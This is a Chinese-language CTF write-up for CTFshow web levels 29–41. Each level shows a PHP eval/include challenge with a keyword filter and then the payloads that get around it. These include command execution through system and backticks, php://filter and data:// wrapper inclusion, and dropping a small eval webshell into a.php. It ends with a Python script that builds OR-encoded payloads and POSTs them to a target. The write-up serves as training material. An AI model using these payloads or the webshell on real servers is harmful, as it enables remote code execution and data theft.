CTF SHOW

web29~124

Web29

题目

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}
else{
highlight_file(__FILE__);
}

前置基础知识

eval()函数

eval()函数把字符串按照PHP代码来计算。该字符串必须是合法的PHP代码,且必须以分号结尾。

return语句会立即种植对字符串的计算

1
eval(phpcode)

phpcode:必需。规定要计算的PHP代码

system函数

同C版本的system()函数一样

1
system(string $command, int &$result_code = null): string|false

command:必需。要执行的命令

result_code:可选。如果提供result_code参数,则外部命令执行后的返回状态将会被设置到此变量中

题目分析

需要输入一个c,c不能包含flag(无论大小写)

即c是读取flag.php的代码,需要绕过flag字符串匹配

几种思路

一开始使用 ls 命令查看目录,得知flag就在flag.php文件中

  1. 用egrep。egrep = grep -E
1
c=system("cat fl*g.php | grep -E 'fl.g' ");

正则表达式

BASH:https://www.cnblogs.com/phillee/p/10949796.html

重定向

https://www.runoob.com/w3cnote/shell-scripting.html

grep命令用汉语查找文件里符合条件的字符串或正则表达式

https://www.runoob.com/linux/linux-comm-grep.html

grep [options] pattern [files]

pattern:表示要查找的字符串或正则表达式

files:表示要查找的文件名,可以多个。默认标准输入

option:

  • -i:忽略大小写进行匹配。
  • -v:反向查找,只打印不匹配的行。
  • -n:显示匹配行的行号。
  • -r:递归查找子目录中的文件。
  • -l:只打印匹配的文件名。
  • -c:只打印匹配的行数。
  1. 直接cat(使用通配符绕过,但无回显,需要查看源码)
1
c=system("cat fl*g.php");

但要查看网页源代码

  1. 倒序输出(使用通配符绕过,但有回显)

并不是说每个词序是反的,而是说文件内容从最后一行开始显示

1
c=system("tac fl*g.php");
  1. 复制到另一个文件中,再查看另一个文件
1
c=system("cp fl*g.php a.txt");

需要访问/a.txt

  1. 直接输出一个php,这样就可以不需要绕过了
1
2
3
c=system('echo -e " <?php \n error_reporting(0); \n  \$c= \$_GET[\'c\']; \n eval(\$c); " > a.php');

/a.php?c=system("tac flag.php");
  1. 显示文件命令配合base64编码
1
highlight_file(base64_decode("ZmxhZy5waHA="));

highlight_file(filename, return)

filename:必需。规定要显示的文件

return:可选。如果该参数设置为TRUE,该函数将以字符串形式返回高亮显示的代码。默认是FALSE。

Web30

题目

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

题目分析

这里绕过了flagsystemphp

几种思路

  1. 使用passthur绕过system,使用 ? 代替单个字符(实测不行)
1
?c=passthur("tac fla*");

通配符

https://www.cnblogs.com/ysuwangqiang/p/11364173.html

? 和 * 的区别

https://blog.csdn.net/weixin_30252651/article/details/115853196

更多绕过system的方法

https://www.php.cn/faq/298828.html

  1. 使用打印文件命令(反字节符配合echo)

也称为,使用反引号代替system函数起到命令执行的效果

1
2
3
4
echo `nl fl''ag.p''hp`;
echo `cat fl''ag.p''hp`;
echo `cat fl*ag.p*hp`; #这条最佳
echo `cp fl*ag.p*hp 1.txt | cat 1.txt`;
  1. 拼接法(感觉不如eval嵌套)
1
?c=$a=sys;$b=tem;$d=$a.$b;$d("tac fl*");

Web31

题目

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}
else{
highlight_file(__FILE__);
}

过滤了:flagsystemphpcatsortshell.

几种思路

  1. 使用eval嵌套
1
c=eval($_GET[a]);&a=system('cat flag.php');

这个payload共传递了两个参数,第一个为嵌套eval,第二个为嵌套eval的传入参数

  1. 其他函数凑出所需要的字符串来绕过(盐都不盐了)

其实这个是rce

1
2
3
4
5
6
7
8
c=show_source(next(array_reverse(scandir(pos(localeconv())))));

localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回数组第一个"."
pos():输出数组第一个元素,不改变指针;
scandir();遍历目录,这里因为参数为"."所以遍历当前目录
array_reverse():元组倒置
next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
show_source():查看源码

Web32

题目

1
2
3
4
5
6
7
8
9
10
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}

过滤:flagsystemphpcatsortshell. ,` ,echo,;,(

思路

参照sdellone的wp,进行了改进和解释

1
2
3
c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php #这是sdellone的payload

c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php #这是我的payload

其实两者的差距只在于一个%0a,改不改无所谓,下面解释各成分作用

  • 首先是include+参数1,作用是包含参数1的文件,运用了文件包含漏洞,最后的文件名字可以改为/etc/passwd和nginx的日志文件来定位flag位置
  • 然后是%0a作用,这是url回车符,因为空格被过滤。事实上,删去也无所谓,似乎php会自动给字符串和变量间添加空格(经检验,只在eval中有效,echo中无效,还是得要空格)
  • 后面的?>的作用是作为绕过分号,作为语句的结束。原理是:php遇到定界符关闭标签会自动在末尾加上一个分号。简单来说,就是php文件中最后一句在?>前可以不写分号。
  • 在c中引用了参数1,然后&后对参数1定义,运用文件包含漏洞

还可以使用data伪协议日志注入

Web33

比起上道题多过滤了

使用文件包含漏洞一样的

Web34

比起上道题多过滤了 :

检查的内容只有c,而c?>已经闭合了,不影响后续的1

Web35

比起上道题多过滤了 <, =

还是一样的

Web36

比起上到题多过滤了/[0-9]

那需要修改一下传入的文件名

1
c=include$_GET[a]?%3E&a=php://filter/convert.base64-encode/resource=flag.php

Web37

题目

1
2
3
4
5
6
7
8
9
10
11
12
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}

题目分析

这里不再是eval而是include

下方打印了flag,所以c中必需包含flag.txt的内容

这里需要用到data伪协议

1
2
3
?c=data://text/plain,<?php system("tac flag.php")?>
#忘了这里对flag过滤进行绕过了,实则可以使用base64加密或者通配符
?c=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=

Web38

题目

1
2
3
4
5
//flag in flag.php
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;

比起上题多过滤了phpfile

一样的,用data伪协议和base64加密即可

Web39

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}

}else{
highlight_file(__FILE__);
}
>

这次在后面拼接上了.php

.是php的字符串拼接符

但其实这个拼接没有任何作用

先让我们来看看答案

1
?c=data://text/plain,<?= system('tac fla*');?>

可以看到已经使用?>进行闭合了,那么php代码已经执行完毕并结束了。

强制给include添加后缀无法阻止伪协议内的php代码执行,只会在代码执行后报错

Web40

题目

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}

这里把数字和几乎所有符号都过滤了,但是括号是中文括号,阴得没边了

做题思路

  1. 得到当前目录
1
?c=print_r(getcwd());
  1. 访问目录下文件
1
?c=print_r(scandir(getcwd()));

得到flag在目录下第三个文件中(倒数第二个)image-20250312150246343

为了减少next的使用

数组移动操作

end() : 将内部指针指向数组中的最后一个元素,并输出
next() :将内部指针指向数组中的下一个元素,并输出
prev() :将内部指针指向数组中的上一个元素,并输出
reset() : 将内部指针指向数组中的第一个元素,并输出
each() : 返回当前元素的键名和键值,并将内部指针向前移动

所以倒置一下目录

  1. 倒置目录
1
?c=print_r(array_reverse(scandir(getcwd())));
image-20250312151309809
  1. 数组指针后移
1
?c=print_r(next(array_reverse(scandir(getcwd()))));
  1. 读取flag.php
1
?c=print_r(show_source(next(array_reverse(scandir(getcwd())))));

image-20250312153231369

Web41

题目

1
2
3
4
5
6
7
8
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}

比起上道题,这道题过滤掉了所有字母,而且注意使用的是POST传参

可以看到还剩下一个 | 没有被过滤

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import re
import urllib
from urllib import parse
import requests

contents = []

for i in range(256):
for j in range(256):
hex_i = '{:02x}'.format(i)
hex_j = '{:02x}'.format(j)
preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-', re.I)
if preg.search(chr(int(hex_i, 16))) or preg.search(chr(int(hex_j, 16))):
continue
else:
a = '%' + hex_i
b = '%' + hex_j
c = chr(int(a[1:], 16) | int(b[1:], 16))
if 32 <= ord(c) <= 126:
contents.append([c, a, b])


def make_payload(cmd):
payload1 = ''
payload2 = ''
for i in cmd:
for j in contents:
if i == j[0]:
payload1 += j[1]
payload2 += j[2]
break
payload = '("' + payload1 + '"|"' + payload2 + '")'
return payload


URL = input('url:')
payload = make_payload('system') + make_payload('cat flag.php')
response = requests.post(URL, data={'c': urllib.parse.unquote(payload)})
print(response.text)